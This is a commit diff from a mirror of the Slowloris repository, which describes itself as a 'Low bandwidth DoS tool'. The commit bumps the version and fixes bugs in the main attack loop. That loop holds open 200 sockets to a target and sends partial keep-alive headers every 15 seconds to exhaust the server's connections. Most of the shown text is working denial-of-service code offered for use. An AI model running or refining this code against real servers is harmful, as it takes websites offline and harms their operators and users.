mirror of https://github.com/Askill/slowloris.git
Fixed #2.
This commit is contained in:
parent
e888317551
commit
82488f9b9c
2
setup.py
2
setup.py
|
|
@ -3,7 +3,7 @@ setup(
|
|||
name = "Slowloris",
|
||||
py_modules = ["slowloris"],
|
||||
entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
|
||||
version = "0.1.1",
|
||||
version = "0.1.2",
|
||||
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
|
||||
author = "Gokberk Yaltirakli",
|
||||
author_email = "webdosusb@gmail.com",
|
||||
|
|
|
|||
13
slowloris.py
13
slowloris.py
|
|
@ -30,6 +30,7 @@ def main():
|
|||
if len(sys.argv) != 2:
|
||||
print("Usage: {} example.com".format(sys.argv[0]))
|
||||
return
|
||||
|
||||
ip = sys.argv[1]
|
||||
socket_count = 200
|
||||
log("Attacking {} with {} sockets.".format(ip, socket_count))
|
||||
|
|
@ -45,17 +46,21 @@ def main():
|
|||
|
||||
while True:
|
||||
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
|
||||
for s in list_of_sockets:
|
||||
for s in list(list_of_sockets):
|
||||
try:
|
||||
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
|
||||
except socket.error:
|
||||
list_of_sockets.remove(s)
|
||||
for i in range(socket_count - len(list_of_sockets)):
|
||||
|
||||
for _ in range(socket_count - len(list_of_sockets)):
|
||||
log("Recreating socket...")
|
||||
try:
|
||||
s = init_socket(ip)
|
||||
if s:
|
||||
list_of_sockets.append(s)
|
||||
except:
|
||||
pass
|
||||
except socket.error:
|
||||
break
|
||||
time.sleep(15)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
|
|||
Loading…
Reference in New Issue